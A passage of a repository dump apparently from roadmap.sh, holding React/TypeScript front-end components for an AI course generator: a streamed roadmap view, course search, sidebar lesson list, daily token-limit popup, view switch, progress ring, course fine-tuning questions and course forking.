(\n                      <div\n                        key={key}\n                        className=\"flex cursor-pointer items-center gap-2 px-2 py-2.5 transition-colors hover:bg-gray-100 max-lg:px-0 max-lg:py-1.5\"\n                        onClick={() => {\n                          setActiveModuleIndex(moduleIdx);\n                          setActiveLessonIndex(lessonIdx);\n                          setExpandedModules((prev) => {\n                            const newState: Record<number, boolean> = {};\n                            course.modules.forEach((_, idx) => {\n                              newState[idx] = false;\n                            });\n                            newState[moduleIdx] = true;\n                            return newState;\n                          });\n\n                          setSidebarOpen(false);\n                          setViewMode('module');\n                        }}\n                      >\n                        {!isCompleted && (\n                          <span\n                            className={cn(\n                              'flex size-6 shrink-0 items-center justify-center rounded-full bg-gray-200 text-sm font-medium text-gray-800 max-lg:size-5 max-lg:text-xs',\n                            )}\n                          >\n                            {lessonIdx + 1}\n                          </span>\n                        )}\n\n                        {isCompleted && (\n                          <CheckIcon additionalClasses=\"size-6 shrink-0 text-green-500\" />\n                        )}\n\n                        <p className=\"flex-1 truncate text-base text-gray-800 max-lg:text-sm\">\n                          {lesson.replace(/^Lesson\\s*?\\d+[\\.:]\\s*/, '')}\n                        </p>\n                        <span className=\"text-sm font-medium text-gray-700 max-lg:hidden\">\n                          {isCompleted ? 'View' : 'Start'} →\n                        </span>\n                      </div>\n                    );\n                  })}\n                </div>\n              </div>\n            );\n          })}\n        </div>\n      ) : (\n        <div className=\"flex h-64 items-center justify-center\">\n          <Loader2Icon size={36} className=\"animate-spin text-gray-300\" />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseRoadmapView.tsx",
    "content": "import '../GenerateRoadmap/GenerateRoadmap.css';\nimport { renderFlowJSON } from '@roadmapsh/editor';\nimport { generateAIRoadmapFromText } from '@roadmapsh/editor';\nimport {\n  generateAICourseRoadmapStructure,\n  readAIRoadmapStream,\n  type ResultItem,\n} from '../../lib/ai';\nimport {\n  useCallback,\n  useEffect,\n  useRef,\n  useState,\n  type Dispatch,\n  type SetStateAction,\n  type MouseEvent,\n} from 'react';\nimport type { AICourseViewMode } from './AICourseContent';\nimport { replaceChildren } from '../../lib/dom';\nimport { Frown, Loader2Icon } from 'lucide-react';\nimport { renderTopicProgress } from '../../lib/resource-progress';\nimport { queryClient } from '../../stores/query-client';\nimport { useQuery } from '@tanstack/react-query';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { AICourseOutlineHeader } from './AICourseOutlineHeader';\nimport type { AiCourse } from '../../lib/ai';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { LoginToView } from '../AITutor/LoginToView';\n\nexport type AICourseRoadmapViewProps = {\n  done: string[];\n  courseSlug: string;\n  course: AiCourse;\n  isLoading: boolean;\n  onRegenerateOutline: (prompt?: string) => void;\n  setActiveModuleIndex: (index: number) => void;\n  setActiveLessonIndex: (index: number) => void;\n  setViewMode: (mode: AICourseViewMode) => void;\n  onUpgradeClick: () => void;\n  setExpandedModules: Dispatch<SetStateAction<Record<number, boolean>>>;\n  viewMode: AICourseViewMode;\n  isForkable: boolean;\n  onForkCourse: () => void;\n};\n\nexport function AICourseRoadmapView(props: AICourseRoadmapViewProps) {\n  const {\n    done = [],\n    courseSlug,\n    course,\n    isLoading,\n    onRegenerateOutline,\n    setActiveModuleIndex,\n    setActiveLessonIndex,\n    setViewMode,\n    setExpandedModules,\n    onUpgradeClick,\n    viewMode,\n    isForkable,\n    onForkCourse,\n  } = props;\n\n  const containerEl = useRef<HTMLDivElement>(null);\n  const [roadmapStructure, setRoadmapStructure] = useState<ResultItem[]>([]);\n\n  const [isGenerating, setIsGenerating] = useState(false);\n  const [error, setError] = useState<string | null>(null);\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const generateAICourseRoadmap = async (courseSlug: string) => {\n    if (!isLoggedIn()) {\n      setIsGenerating(false);\n      return;\n    }\n\n    try {\n      const response = await fetch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-generate-ai-course-roadmap/${courseSlug}`,\n        {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          credentials: 'include',\n        },\n      );\n\n      if (!response.ok) {\n        const data = await response.json();\n        console.error(\n          'Error generating course roadmap:',\n          data?.message || 'Something went wrong',\n        );\n        setError(data?.message || 'Something went wrong');\n        setIsGenerating(false);\n        return;\n      }\n\n      const reader = response.body?.getReader();\n      if (!reader) {\n        console.error('Failed to get reader from response');\n        setError('Something went wrong');\n        setIsGenerating(false);\n        return;\n      }\n\n      setIsGenerating(true);\n      await readAIRoadmapStream(reader, {\n        onStream: async (result) => {\n          const roadmap = generateAICourseRoadmapStructure(result, true);\n          const { nodes, edges } = generateAIRoadmapFromText(roadmap);\n          const svg = renderFlowJSON({ nodes, edges });\n          // it will be null only on server side\n          if (!svg) {\n            return;\n          }\n          replaceChildren(containerEl.current!, svg);\n        },\n        onStreamEnd: async (result) => {\n          const roadmap = generateAICourseRoadmapStructure(result, true);\n          const { nodes, edges } = generateAIRoadmapFromText(roadmap);\n          const svg = renderFlowJSON({ nodes, edges });\n          // it will be null only on server side\n          if (!svg) {\n            return;\n          }\n          replaceChildren(containerEl.current!, svg);\n          setRoadmapStructure(roadmap);\n          setIsGenerating(false);\n\n          done.forEach((id) => {\n            renderTopicProgress(id, 'done');\n          });\n\n          const modules = roadmap.filter((item) => item.type === 'topic');\n          for (const module of modules) {\n            const moduleId = module.id;\n            const isAllLessonsDone =\n              module?.children?.every((child) => done.includes(child.id)) ??\n              false;\n            if (isAllLessonsDone) {\n              renderTopicProgress(moduleId, 'done');\n            }\n          }\n        },\n      });\n    } catch (error) {\n      console.error('Error generating course roadmap:', error);\n      setError('Something went wrong');\n      setIsGenerating(false);\n    }\n  };\n\n  useEffect(() => {\n    if (!courseSlug) {\n      return;\n    }\n\n    generateAICourseRoadmap(courseSlug);\n  }, []);\n\n  const handleNodeClick = useCallback(\n    (e: MouseEvent<HTMLDivElement, unknown>) => {\n      if (isGenerating) {\n        return;\n      }\n\n      const target = e.target as SVGElement;\n      const targetGroup = (target?.closest('g') as SVGElement) || {};\n\n      const nodeId = targetGroup?.dataset?.nodeId;\n      const nodeType = targetGroup?.dataset?.type;\n      if (!nodeId || !nodeType) {\n        return null;\n      }\n\n      if (nodeType === 'topic') {\n        const topicIndex = roadmapStructure\n          .filter((item) => item.type === 'topic')\n          .findIndex((item) => item.id === nodeId);\n\n        setExpandedModules((prev) => {\n          const newState: Record<number, boolean> = {};\n          roadmapStructure.forEach((_, idx) => {\n            newState[idx] = false;\n          });\n          newState[topicIndex] = true;\n          return newState;\n        });\n\n        setActiveModuleIndex(topicIndex);\n        setActiveLessonIndex(0);\n        setViewMode('module');\n        return;\n      }\n\n      if (nodeType !== 'subtopic') {\n        return null;\n      }\n\n      const [moduleIndex, topicIndex] = nodeId.split('-').map(Number);\n      setExpandedModules((prev) => {\n        const newState: Record<number, boolean> = {};\n        roadmapStructure.forEach((_, idx) => {\n          newState[idx] = false;\n        });\n        newState[moduleIndex] = true;\n        return newState;\n      });\n      setActiveModuleIndex(moduleIndex);\n      setActiveLessonIndex(topicIndex);\n      setViewMode('module');\n    },\n    [\n      roadmapStructure,\n      setExpandedModules,\n      setActiveModuleIndex,\n      setActiveLessonIndex,\n      setViewMode,\n    ],\n  );\n\n  return (\n    <div className=\"relative mx-auto min-h-[500px] overflow-hidden rounded-xl border border-gray-200 bg-white shadow-xs lg:max-w-5xl\">\n      <AICourseOutlineHeader\n        course={course}\n        isLoading={isLoading}\n        onRegenerateOutline={(prompt) => {\n          setViewMode('outline');\n          onRegenerateOutline(prompt);\n        }}\n        viewMode={viewMode}\n        setViewMode={setViewMode}\n        isForkable={isForkable}\n        onForkCourse={onForkCourse}\n        courseSlug={courseSlug}\n      />\n      {isLoading && (\n        <div className=\"absolute inset-0 flex h-full w-full items-center justify-center\">\n          <Loader2Icon className=\"h-10 w-10 animate-spin stroke-[3px]\" />\n        </div>\n      )}\n\n      {!isLoggedIn() && (\n        <LoginToView className=\"-mt-1 -mb-2 rounded-none border-none\" />\n      )}\n\n      {error && !isGenerating && !isLoggedIn() && (\n        <div className=\"absolute inset-0 flex h-full w-full flex-col items-center justify-center\">\n          <Frown className=\"size-20 text-red-500\" />\n          <p className=\"mx-auto mt-5 max-w-[250px] text-center text-base text-balance text-red-500\">\n            {error || 'Something went wrong'}\n          </p>\n\n          {!isPaidUser && (error || '')?.includes('limit') && (\n            <button\n              onClick={onUpgradeClick}\n              className=\"mt-5 rounded-full bg-red-600 px-4 py-1 text-white hover:bg-red-700\"\n            >\n              Upgrade Account\n            </button>\n          )}\n        </div>\n      )}\n\n      <div\n        id={'resource-svg-wrap'}\n        ref={containerEl}\n        onClick={handleNodeClick}\n        className=\"px-4 pb-2\"\n      ></div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseSearch.tsx",
    "content": "import { SearchIcon } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { useDebounceValue } from '../../hooks/use-debounce';\n\ntype AICourseSearchProps = {\n  value: string;\n  onChange: (value: string) => void;\n  placeholder?: string;\n  disabled?: boolean;\n};\n\nexport function AICourseSearch(props: AICourseSearchProps) {\n  const { value: defaultValue, onChange, placeholder, disabled } = props;\n\n  const [searchTerm, setSearchTerm] = useState(defaultValue);\n  const debouncedSearchTerm = useDebounceValue(searchTerm, 500);\n\n  useEffect(() => {\n    setSearchTerm(defaultValue);\n  }, [defaultValue]);\n\n  useEffect(() => {\n    if (debouncedSearchTerm && debouncedSearchTerm.length < 3) {\n      return;\n    }\n\n    if (debouncedSearchTerm === defaultValue) {\n      return;\n    }\n\n    onChange(debouncedSearchTerm);\n  }, [debouncedSearchTerm]);\n\n  return (\n    <div className=\"relative mb-4\">\n      <div className=\"pointer-events-none absolute inset-y-0 left-0 flex items-center pl-3\">\n        <SearchIcon className=\"h-4 w-4 text-gray-400\" />\n      </div>\n      <input\n        type=\"text\"\n        className=\"block w-full rounded-lg border border-gray-200 bg-white py-3 pr-3 pl-10 leading-5 placeholder-gray-500 focus:border-gray-300 focus:ring-blue-500 focus:outline-hidden disabled:opacity-70 sm:text-sm\"\n        placeholder={placeholder || 'Search courses...'}\n        value={searchTerm}\n        onChange={(e) => setSearchTerm(e.target.value)}\n        disabled={disabled}\n        data-clarity-unmask=\"true\"\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseSidebarModuleList.tsx",
    "content": "import { type Dispatch, type SetStateAction } from 'react';\nimport type { AiCourse } from '../../lib/ai';\nimport { Check, ChevronDownIcon, ChevronRightIcon } from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport { slugify } from '../../lib/slugger';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\nimport { CircularProgress } from './CircularProgress';\nimport type { AICourseViewMode } from './AICourseContent';\n\ntype AICourseModuleListProps = {\n  course: AiCourse;\n  courseSlug?: string;\n  activeModuleIndex: number | undefined;\n  setActiveModuleIndex: (index: number) => void;\n  activeLessonIndex: number | undefined;\n  setActiveLessonIndex: (index: number) => void;\n\n  setSidebarOpen: (open: boolean) => void;\n\n  viewMode: AICourseViewMode;\n  setViewMode: (mode: AICourseViewMode) => void;\n\n  expandedModules: Record<number, boolean>;\n  setExpandedModules: Dispatch<SetStateAction<Record<number, boolean>>>;\n\n  isLoading: boolean;\n};\n\nexport function AICourseSidebarModuleList(props: AICourseModuleListProps) {\n  const {\n    course,\n    courseSlug,\n    activeModuleIndex,\n    setActiveModuleIndex,\n    activeLessonIndex,\n    setActiveLessonIndex,\n    setSidebarOpen,\n    setViewMode,\n    expandedModules,\n    setExpandedModules,\n\n    isLoading,\n  } = props;\n\n  const aiCourseProgress = course.done || [];\n\n  const toggleModule = (index: number) => {\n    setExpandedModules((prev) => {\n      // If this module is already expanded, collapse it\n      if (prev[index]) {\n        return {\n          ...prev,\n          [index]: false,\n        };\n      }\n\n      // Otherwise, collapse all modules and expand only this one\n      const newState: Record<number, boolean> = {};\n      // Set all modules to collapsed\n      course.modules.forEach((_, idx) => {\n        newState[idx] = false;\n      });\n      // Expand only the clicked module\n      newState[index] = true;\n      return newState;\n    });\n  };\n\n  const done = aiCourseProgress || [];\n\n  return (\n    <nav className=\"bg-gray-100\">\n      {course.modules.map((courseModule, moduleIdx) => {\n        const totalLessons = courseModule.lessons.length;\n        const completedLessons = courseModule.lessons.filter(\n          (lesson, lessonIdx) => {\n            const key = `${slugify(String(moduleIdx))}-${slugify(String(lessonIdx))}`;\n            return done.includes(key);\n          },\n        ).length;\n\n        const percentage = Math.round((completedLessons / totalLessons) * 100);\n        const isActive = expandedModules[moduleIdx];\n        const isModuleCompleted = completedLessons === totalLessons;\n\n        return (\n          <div key={moduleIdx} className=\"rounded-md\">\n            <button\n              onClick={() => toggleModule(moduleIdx)}\n              className={cn(\n                'relative z-10 flex w-full cursor-pointer flex-row items-center gap-2 border-b border-b-gray-200 bg-white px-2 py-3 text-base text-gray-600 hover:bg-gray-100',\n                activeModuleIndex === moduleIdx\n                  ? 'text-gray-900'\n                  : 'text-gray-700',\n                moduleIdx === 0 && 'pt-4',\n              )}\n            >\n              <div className=\"flex min-w-0 flex-1 items-center gap-2\">\n                <div className=\"shrink-0\">\n                  <CircularProgress\n                    percentage={percentage}\n                    isVisible={!isModuleCompleted}\n                    isActive={isActive}\n                    isLoading={isLoading}\n                  >\n                    <span\n                      className={cn(\n                        'flex size-[21px] shrink-0 items-center justify-center rounded-full bg-gray-400/70 text-xs font-semibold text-white',\n                        {\n                          'bg-black': isActive,\n                          'bg-green-600': isModuleCompleted,\n                        },\n                      )}\n                    >\n                      {!isModuleCompleted && moduleIdx + 1}\n                      {isModuleCompleted && (\n                        <Check className=\"size-3 stroke-3 text-white\" />\n                      )}\n                    </span>\n                  </CircularProgress>\n                </div>\n                <span className=\"flex flex-1 items-center break-words text-left text-sm leading-relaxed\">\n                  {courseModule.title?.replace(/^Module\\s*?\\d+[\\.:]\\s*/, '')}\n                </span>\n              </div>\n              <div className=\"ml-auto self-center\">\n                {expandedModules[moduleIdx] ? (\n                  <ChevronDownIcon size={16} className=\"shrink-0\" />\n                ) : (\n                  <ChevronRightIcon size={16} className=\"shrink-0\" />\n                )}\n              </div>\n            </button>\n\n            {/* Lessons */}\n            {expandedModules[moduleIdx] && (\n              <div className=\"flex flex-col border-b border-b-gray-200 bg-gray-100\">\n                {courseModule.lessons.map((lesson, lessonIdx) => {\n                  const key = `${slugify(String(moduleIdx))}-${slugify(String(lessonIdx))}`;\n                  const isCompleted = done.includes(key);\n\n                  return (\n                    <button\n                      key={key}\n                      onClick={() => {\n                        setActiveModuleIndex(moduleIdx);\n                        setActiveLessonIndex(lessonIdx);\n                        setExpandedModules((prev) => {\n                          const newState: Record<number, boolean> = {};\n                          course.modules.forEach((_, idx) => {\n                            newState[idx] = false;\n                          });\n                          newState[moduleIdx] = true;\n                          return newState;\n                        });\n                        setSidebarOpen(false);\n                        setViewMode('module');\n                      }}\n                      className={cn(\n                        'flex w-full cursor-pointer items-center gap-2.5 py-3 pl-3.5 pr-2 text-left text-sm leading-normal',\n                        activeModuleIndex === moduleIdx &&\n                          activeLessonIndex === lessonIdx\n                          ? 'bg-gray-200 text-black'\n                          : 'text-gray-600 hover:bg-gray-200/70',\n                      )}\n                    >\n                      {isCompleted ? (\n                        <CheckIcon\n                          additionalClasses={cn(\n                            'size-[18px] relative bg-white rounded-full top-[2px] shrink-0 text-green-600',\n                            {\n                              'text-black':\n                                activeModuleIndex === moduleIdx &&\n                                activeLessonIndex === lessonIdx,\n                            },\n                          )}\n                        />\n                      ) : (\n                        <span\n                          className={cn(\n                            'flex size-[18px] shrink-0 items-center justify-center rounded-full bg-gray-400/70 text-xs font-semibold text-white',\n                            {\n                              'bg-black':\n                                activeModuleIndex === moduleIdx &&\n                                activeLessonIndex === lessonIdx,\n                            },\n                          )}\n                        >\n                          {lessonIdx + 1}\n                        </span>\n                      )}\n                      <span className=\"break-words\">\n                        {lesson?.replace(/^Lesson\\s*?\\d+[\\.:]\\s*/, '')}\n                      </span>\n                    </button>\n                  );\n                })}\n              </div>\n            )}\n          </div>\n        );\n      })}\n    </nav>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AILimitsPopup.tsx",
    "content": "import { Gift } from 'lucide-react';\nimport { Modal } from '../Modal';\nimport { formatCommaNumber } from '../../lib/number';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { queryClient } from '../../stores/query-client';\nimport { useQuery } from '@tanstack/react-query';\nimport { aiLimitOptions } from '../../queries/ai-course';\n\ntype AILimitsPopupProps = {\n  onClose: () => void;\n  onUpgrade: () => void;\n};\n\nexport function AILimitsPopup(props: AILimitsPopupProps) {\n  const { onClose, onUpgrade } = props;\n\n  const { data: limits, isLoading } = useQuery(aiLimitOptions(), queryClient);\n\n  const { used, limit } = limits ?? { used: 0, limit: 0 };\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  return (\n    <Modal\n      onClose={onClose}\n      wrapperClassName=\"rounded-xl max-w-xl w-full h-auto\"\n      bodyClassName=\"p-6\"\n      overlayClassName=\"items-start md:items-center\"\n    >\n      <h2 className=\"mb-8 text-center text-xl font-semibold\">\n        Daily AI Limits\n      </h2>\n\n      {/* Usage Progress Bar */}\n      <div className=\"mb-6\">\n        <div className=\"mb-2 flex justify-between\">\n          <span className=\"text-sm font-medium\">\n            Usage: {formatCommaNumber(used)}&nbsp;/&nbsp;\n            {formatCommaNumber(limit)} tokens\n          </span>\n          <span className=\"text-sm font-medium\">\n            {Math.round((used / limit) * 100)}%\n          </span>\n        </div>\n        <div className=\"h-2.5 w-full rounded-full bg-gray-200\">\n          <div\n            className=\"h-2.5 rounded-full bg-yellow-500\"\n            style={{ width: `${Math.min(100, (used / limit) * 100)}%` }}\n          ></div>\n        </div>\n      </div>\n\n      {/* Usage Stats */}\n      <div className=\"rounded-lg bg-gray-50 p-4\">\n        <div className=\"grid grid-cols-2 gap-4\">\n          <div>\n            <p className=\"text-sm text-gray-500\">Used Today</p>\n            <p className=\"text-2xl font-bold\">{formatCommaNumber(used)}</p>\n          </div>\n          <div>\n            <p className=\"text-sm text-gray-500\">Daily Limit</p>\n            <p className=\"text-2xl font-bold\">{formatCommaNumber(limit)}</p>\n          </div>\n        </div>\n      </div>\n\n      {/* Explanation */}\n      <div className=\"mt-2\">\n        <div className=\"space-y-3 text-gray-600\">\n          <p className=\"text-sm\">\n            Limit resets every 24 hours.{' '}\n            {!isPaidUser && 'Consider upgrading for more tokens.'}\n          </p>\n        </div>\n      </div>\n\n      {/* Action Button */}\n      <div className=\"mt-auto flex flex-col gap-2 pt-4\">\n        {!isPaidUser && (\n          <button\n            onClick={onUpgrade}\n            className=\"flex w-full items-center justify-center gap-2 rounded-lg bg-yellow-400 px-4 py-2.5 text-sm font-medium text-black transition-colors hover:bg-yellow-500\"\n          >\n            <Gift className=\"size-4\" />\n            Upgrade to Unlimited\n          </button>\n        )}\n        <button\n          onClick={onClose}\n          className=\"w-full rounded-lg bg-gray-200 px-4 py-2.5 text-sm text-gray-600 transition-colors hover:bg-gray-300\"\n        >\n          Close\n        </button>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AIRoadmapViewSwitch.tsx",
    "content": "import { BookOpenCheckIcon, SignpostIcon, type LucideIcon } from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport type { AICourseViewMode } from './AICourseContent';\n\ntype AIRoadmapViewSwitchProps = {\n  viewMode: AICourseViewMode;\n  setViewMode: (mode: AICourseViewMode) => void;\n  isLoading: boolean;\n  variant?: 'icon' | 'text';\n};\n\nexport function AIRoadmapViewSwitch(props: AIRoadmapViewSwitchProps) {\n  const { viewMode, setViewMode, isLoading, variant = 'icon' } = props;\n\n  return (\n    <div\n      className={cn(\n        'grid shrink-0 grid-cols-2 gap-0.5 rounded-md border border-gray-300 bg-white p-0.5 shadow-xs',\n      )}\n    >\n      <SwitchButton\n        onClick={() => setViewMode('outline')}\n        isActive={viewMode === 'outline'}\n        disabled={isLoading}\n        variant={variant}\n        icon={BookOpenCheckIcon}\n        label=\"Outline\"\n      />\n\n      <SwitchButton\n        onClick={() => setViewMode('roadmap')}\n        isActive={viewMode === 'roadmap'}\n        disabled={isLoading}\n        variant={variant}\n        icon={SignpostIcon}\n        label=\"Roadmap\"\n      />\n    </div>\n  );\n}\n\ntype SwitchButtonProps = {\n  onClick: () => void;\n  isActive: boolean;\n  disabled: boolean;\n  variant?: 'icon' | 'text';\n  icon: LucideIcon;\n  label: string;\n};\n\nexport function SwitchButton(props: SwitchButtonProps) {\n  const {\n    onClick,\n    isActive,\n    disabled,\n    variant = 'icon',\n    icon: Icon,\n    label,\n  } = props;\n\n  return (\n    <button\n      className={cn(\n        'flex items-center justify-center gap-1.5 rounded-sm text-sm hover:bg-gray-100 disabled:cursor-not-allowed',\n        isActive && 'bg-gray-100 text-gray-800',\n        variant === 'text' ? 'px-2 py-1.5' : 'p-[5px]',\n      )}\n      onClick={onClick}\n      disabled={disabled}\n    >\n      <Icon\n        className={cn(\n          'size-4',\n          variant === 'icon' && 'h-3 w-3',\n          isActive && 'text-gray-800',\n        )}\n      />\n      {variant === 'text' && label}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/CircularProgress.tsx",
    "content": "import { cn } from '../../lib/classname';\n\nexport function ChapterNumberSkeleton() {\n  return (\n    <div className=\"h-[28px] w-[28px] animate-pulse rounded-full bg-gray-200\" />\n  );\n}\n\ntype CircularProgressProps = {\n  percentage: number;\n  children: React.ReactNode;\n  isVisible?: boolean;\n  isActive?: boolean;\n  isLoading?: boolean;\n};\n\nexport function CircularProgress(props: CircularProgressProps) {\n  const {\n    percentage,\n    children,\n    isVisible = true,\n    isActive = false,\n    isLoading = false,\n  } = props;\n\n  const circumference = 2 * Math.PI * 13;\n  const strokeDasharray = `${circumference}`;\n  const strokeDashoffset = circumference - (percentage / 100) * circumference;\n\n  return (\n    <div className=\"relative flex h-[28px] w-[28px] shrink-0 items-center justify-center\">\n      {isVisible && !isLoading && (\n        <svg className=\"absolute h-full w-full -rotate-90\">\n          <circle\n            cx=\"14\"\n            cy=\"14\"\n            r=\"13\"\n            stroke=\"currentColor\"\n            strokeWidth=\"1.75\"\n            fill=\"none\"\n            className={cn('text-gray-400/70', {\n              'text-black': isActive,\n            })}\n            style={{\n              strokeDasharray,\n              strokeDashoffset,\n              transition: 'stroke-dashoffset 0.3s ease',\n            }}\n          />\n        </svg>\n      )}\n\n      {!isLoading && children}\n      {isLoading && <ChapterNumberSkeleton />}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/FineTuneCourse.tsx",
    "content": "import { useId } from 'react';\nimport { cn } from '../../lib/classname';\n\ntype QuestionProps = {\n  label: string;\n  placeholder: string;\n  autoFocus?: boolean;\n  value: string;\n  onChange: (value: string) => void;\n};\n\nfunction Question(props: QuestionProps) {\n  const { label, placeholder, value, onChange, autoFocus = false } = props;\n  const questionId = useId();\n\n  return (\n    <div className=\"flex flex-col\">\n      <label\n        htmlFor={questionId}\n        className=\"border-y bg-gray-50 px-4 py-2.5 text-sm font-medium text-gray-700\"\n      >\n        {label}\n      </label>\n      <textarea\n        id={questionId}\n        placeholder={placeholder}\n        className=\"min-h-[80px] w-full resize-none px-4 py-3 text-gray-700 placeholder:text-gray-400 focus:outline-hidden\"\n        value={value}\n        onChange={(e) => onChange(e.target.value)}\n        data-clarity-unmask=\"true\"\n        autoFocus={autoFocus}\n      />\n    </div>\n  );\n}\n\ntype FineTuneCourseProps = {\n  hasFineTuneData: boolean;\n  about: string;\n  goal: string;\n  customInstructions: string;\n\n  setAbout: (about: string) => void;\n  setGoal: (goal: string) => void;\n  setCustomInstructions: (customInstructions: string) => void;\n  className?: string;\n};\n\nexport function FineTuneCourse(props: FineTuneCourseProps) {\n  const {\n    about,\n    goal,\n    customInstructions,\n    hasFineTuneData,\n    setAbout,\n    setGoal,\n    setCustomInstructions,\n    className,\n  } = props;\n\n  if (!hasFineTuneData) {\n    return null;\n  }\n\n  return (\n    <div className={cn('mt-0 flex flex-col', className)}>\n      <Question\n        label=\"Tell us about yourself\"\n        placeholder=\"e.g. I am a frontend developer and have good knowledge of HTML, CSS, and JavaScript.\"\n        value={about}\n        onChange={setAbout}\n        autoFocus={true}\n      />\n      <Question\n        label=\"What is your goal with this course?\"\n        placeholder=\"e.g. I want to be able to build Node.js APIs with Express.js and MongoDB.\"\n        value={goal}\n        onChange={setGoal}\n      />\n      <Question\n        label=\"Custom Instructions (Optional)\"\n        placeholder=\"Give additional instructions to the AI as if you were giving them to a friend.\"\n        value={customInstructions}\n        onChange={setCustomInstructions}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/ForkCourseAlert.tsx",
    "content": "import { GitForkIcon } from 'lucide-react';\nimport { getUser } from '../../lib/jwt';\nimport { cn } from '../../lib/classname';\n\ntype ForkCourseAlertProps = {\n  className?: string;\n  creatorId?: string;\n  onForkCourse: () => void;\n};\n\nexport function ForkCourseAlert(props: ForkCourseAlertProps) {\n  const { creatorId, onForkCourse, className = '' } = props;\n\n  const currentUser = getUser();\n\n  if (!currentUser || !creatorId || currentUser?.id === creatorId) {\n    return null;\n  }\n\n  return (\n    <div\n      className={cn(\n        'mx-auto mb-3.5 flex max-w-5xl items-center justify-between gap-2 rounded-lg bg-yellow-200 p-3 text-black lg:-mt-2.5',\n        className,\n      )}\n    >\n      <p className=\"text-sm text-balance\">\n        Fork the course to track you progress and make changes to the course.\n      </p>\n\n      <button\n        className=\"flex shrink-0 items-center gap-2 rounded-md hover:bg-yellow-500 bg-yellow-400 px-3 py-1.5 text-sm text-black\"\n        onClick={onForkCourse}\n      >\n        <GitForkIcon className=\"size-3.5\" />\n        Fork Course\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/ForkCourseConfirmation.tsx",
    "content": "import { Copy, GitForkIcon, Loader2Icon } from 'lucide-react';\nimport { Modal } from '../Modal';\nimport type { AICourseDocument } from '../../queries/ai-course';\nimport { useMutation } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { httpPost } from '../../lib/query-http';\nimport { useToast } from '../../hooks/use-toast';\nimport { useState } from 'react';\n\ntype ForkAICourseParams = {\n  aiCourseSlug: string;\n};\n\ntype ForkAICourseBody = {};\n\ntype ForkAICourseQuery = {};\n\ntype ForkAICourseResponse = AICourseDocument;\n\ntype ForkCourseConfirmationProps = {\n  onClose: () => void;\n  courseSlug: string;\n};\n\nexport function ForkCourseConfirmation(props: ForkCourseConfirmationProps) {\n  const { onClose, courseSlug } = props;\n\n  const toast = useToast();\n  const [isPending, setIsPending] = useState(false);\n  const { mutate: forkCourse } = useMutation(\n    {\n      mutationFn: async () => {\n        setIsPending(true);\n        return httpPost(\n          `${import.meta.env.PUBLIC_API_URL}/v1-fork-ai-course/${courseSlug}`,\n          {},\n        );\n      },\n      onSuccess(data) {\n        window.location.href = `/ai/${data.slug}`;\n      },\n      onError(error) {\n        toast.error(error?.message || 'Failed to fork course');\n        setIsPending(false);\n      },\n    },\n    queryClient,\n  );\n\n  return (\n    <Modal\n      onClose={isPending ? () => {} : onClose}\n      wrapperClassName=\"h-auto items-start max-w-md w-full\"\n      overlayClassName=\"items-start md:items-center\"\n    >\n      <div className=\"relative flex flex-col items-center p-8\">\n        <div className=\"p-4\">\n          <Copy className=\"size-12 text-gray-300\" strokeWidth={1.5} />\n        </div>\n\n        <div className=\"mt-6 text-center\">\n          <h2 className=\"text-2xl font-bold text-gray-900\">Fork Course</h2>\n          <p className=\"mt-3 text-center leading-relaxed text-balance text-gray-600\">\n            Create a copy of this course to track your progress and make changes\n            to suit your learning style.\n          </p>\n        </div>\n\n        <div className=\"mt-8 grid w-full grid-cols-2 gap-3\">\n          <button\n            disabled={isPending}\n            onClick={onClose}\n            className=\"flex items-center justify-center gap-2 rounded-lg border border-gray-200 px-4 py-2.5 font-medium text-gray-700 transition-all hover:border-gray-300 hover:bg-gray-50 disabled:cursor-not-allowed disabled:opacity-50\"\n          >\n            Cancel\n          </button>\n\n          <button\n            disabled={isPending}\n            className=\"flex hover:opacity-80 items-center justify-center gap-2 rounded-lg bg-black px-4 py-2.5 font-medium text-white transition-all hover:bg-gray-900 disabled:cursor-not-allowed disabled:opacity-50\"\n            onClick={() => forkCourse()}\n          >\n            {isPending ? (\n              <>\n                <Loader2Icon className=\"size-4 animate-spin\" />\n                <span>Forking...</span>\n              </>\n            ) : (\n              <>\n                <GitForkIcon className=\"size-4\" />\n                <span>Fork Course</span>\n              </>\n            )}\n          </button>\n        </div>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/GenerateAICourse.tsx",
